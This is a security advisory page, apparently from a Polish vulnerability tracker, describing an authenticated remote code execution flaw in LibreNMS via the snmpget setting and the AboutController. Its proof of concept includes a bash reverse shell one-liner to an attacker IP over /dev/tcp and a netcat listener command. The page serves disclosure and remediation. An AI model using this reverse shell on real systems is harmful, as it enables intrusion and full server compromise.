Średnia

LibreNMS Vulnerable to Remote Code Execution via AboutController

  • Ujawniono: 18.08.2026
  • Aktualizacja: 11.10.2026 10:22

Remote Code Execution via AboutController in LibreNMS

Summary

A Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the snmpget configuration parameter to execute arbitrary system commands. When the /about endpoint is accessed, the application executes the configured binary path via shell_exec() without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access.

Severity: High (CVSS 7.2) Attack Vector: Network Privileges Required: High (Administrator) User Interaction: None Impact: Complete system compromise with web server privileges


Details

Vulnerable Code

File: app/Http/Controllers/AboutController.php Line: 85

php
'version_netsnmp' => str_replace('version: ', '', 
    rtrim(shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1'))),

Root Cause

The AboutController retrieves the snmpget configuration value from the database and directly concatenates it into a shell_exec() call without proper validation or escaping. While the sanitizePath() function attempts to validate executable paths by blocking special characters (;, `, #, $, |, &, ', ", >, <, (), it only prevents direct command injection. It does NOT prevent an attacker from pointing the configuration to a malicious executable file already present on the system.

Configuration Access

The snmpget configuration can be modified through the web interface:

  • Endpoint: PUT /settings/snmpget
  • Controller: SettingsController::update()
  • Required Privileges: Administrator
  • Config Definition: resources/definitions/config_definitions.json
js
"snmpget": {
    "default": "/usr/bin/snmpget",
    "type": "executable"
}

Validation Analysis

The sanitizePath() function in DynamicConfigItem.php:

php
// LibreNMS/Util/DynamicConfigItem.php:277-284
private function sanitizePath(string $path): string|false
{
    if (preg_match('/[`;#$|&\'"><(]/', $path)) {
        return false;
    }
    return realpath($path);
}

// LibreNMS/Util/DynamicConfigItem.php:107-110
} elseif ($this->type === 'executable') {
    $value == $this->sanitizePath($value);
    return $value !== false && is_file($value) && is_executable($value);
}

Attack Scenarios

Scenario Description
Insider Threat Internal admin creates malicious file → updates config → RCE
Privilege Escalation Attacker with limited access → creates file → full RCE
Supply Chain Malicious package installs binary → admin uses it → RCE

PoC

Prerequisites

  • Valid administrator credentials for LibreNMS web interface
  • Ability to create a file on the target system (via prior access, SSH, or another vulnerability)

Proof of Concept - Reverse Shell

Step 1: Create Malicious Executable

Create a reverse shell payload that connects back to the attacker:

bash
ATTACKER_IP="172.16.69.144"
ATTACKER_PORT=9001

bash -c 'bash -i >& /dev/tcp/'$ATTACKER_IP'/'$ATTACKER_PORT' 0>&1' 2>/dev/null

Save this as /tmp/rev_shell.sh and make it executable:

bash
chmod +x /tmp/rev_shell.sh
Step 2: Setup Netcat Listener

On your attacking machine, start a netcat listener:

bash
nc -lvnp 9001
Step 3: Update Configuration via Web Interface

Login to LibreNMS web interface as administrator and navigate to:

  • Settings → External → Binaries
  • Locate snmpget configuration
  • Update the value to: /tmp/rev_shell.sh
  • Click Save
<img width="1919" height="848" alt="image" src="https://github.com/user-attachments/assets/f4f78425-396e-4dc3-a11f-a33f0f6f7fa3" />
Step 4: Trigger RCE

Access the /about endpoint to execute the malicious binary:

<img width="1861" height="957" alt="image" src="https://github.com/user-attachments/assets/4d3da8b9-1ec4-4703-bede-9e485e45726b" />

Impact Summary

Category Level Description
Confidentiality HIGH Read config files, database credentials, SSH keys
Integrity HIGH Create webshells, backdoors, modify code
Availability HIGH Disrupt services, delete data, stop monitoring
Scope CHANGED Compromise extends beyond application to system

Who Is Impacted

  • LibreNMS installations where attacker has admin credentials AND file system access
  • Organizations using LibreNMS for network monitoring
  • Systems monitored by LibreNMS (lateral movement risk)

Remediation

Replace shell_exec() with Symfony Process component:

php
// BEFORE (vulnerable):
shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1')

// AFTER (safe):
$process = new Process([LibrenmsConfig::get('snmpget', 'snmpget'), '-V']);
$process->run();

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka Composer librenms/librenms < 26.5.0 26.5.0

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
Słabość (CWE)
CWE-77, CWE-78
Platforma
Composer
Paczka
librenms/librenms
Ujawniono
18.08.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-jf24-8g2h-2wg7 - CC BY 4.0

Historia podatności: librenms/librenms

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (106) w archiwum
Wszystkich wpisów
106
Pierwsza → ostatnia
10.2019 08.2026
Bez poprawki
6
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 5
  • Wysoka 39
  • Średnia 56
  • Niska 6

Ujawnienia w latach

  1. 2019: 6
  2. 2020: 0
  3. 2021: 7
  4. 2022: 26
  5. 2023: 12
  6. 2024: 24
  7. 2025: 15
  8. 2026: 16
Istotność:
  1. Wysoka · 7.1 CVE-2026-84192 < 26.5.0 26.5.0
  2. LibreNMS Vulnerable to Remote Code Execution via AboutController ten wpis
    Średnia CVE-2026-84190 < 26.5.0 26.5.0
  3. Wysoka CVE-2026-6204 >= 1.48, < 26.3.0 26.3.0
  4. Wysoka · 7.1 CVE-2020-36947 <= 1.46 brak poprawki
  5. Krytyczna · 9.1 CVE-2024-51092 < 24.10.0 24.10.0
  6. Wysoka · 7.8 CVE-2023-5591 < 23.10.0 23.10.0
  7. Wysoka · 8.4 CVE-2023-5060 < 23.9.1 23.9.1
  8. Wysoka · 7.6 CVE-2023-4347 < 23.8.0 23.8.0
  9. Wysoka · 8.8 CVE-2022-3525 < 22.10.0 22.10.0
  10. Wysoka · 7.6 CVE-2022-4068 < 22.10.0 22.10.0
  11. Krytyczna · 9.8 CVE-2022-4070 < 22.10.0 22.10.0
  12. Wysoka CVE-2022-29712 < 22.4.0 22.4.0
  13. Krytyczna · 9.8 CVE-2019-10665 <= 1.47 brak poprawki
  14. Krytyczna · 9.8 CVE-2018-20434 = 1.46 brak poprawki
  15. Wysoka · 8.8 CVE-2018-20678 < 1.65 1.65
  16. Wysoka · 7.1 CVE-2022-0580 < 22.2.0 22.2.0
  17. Wysoka · 7.1 CVE-2022-0587 < 22.2.0 22.2.0
  18. Krytyczna · 9.8 CVE-2021-44278 <= 21.11.0 brak poprawki
  19. Wysoka · 8.8 CVE-2020-15877 < 1.65.1 1.65.1
Pokaż więcej (5) Widać 40 z 45

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.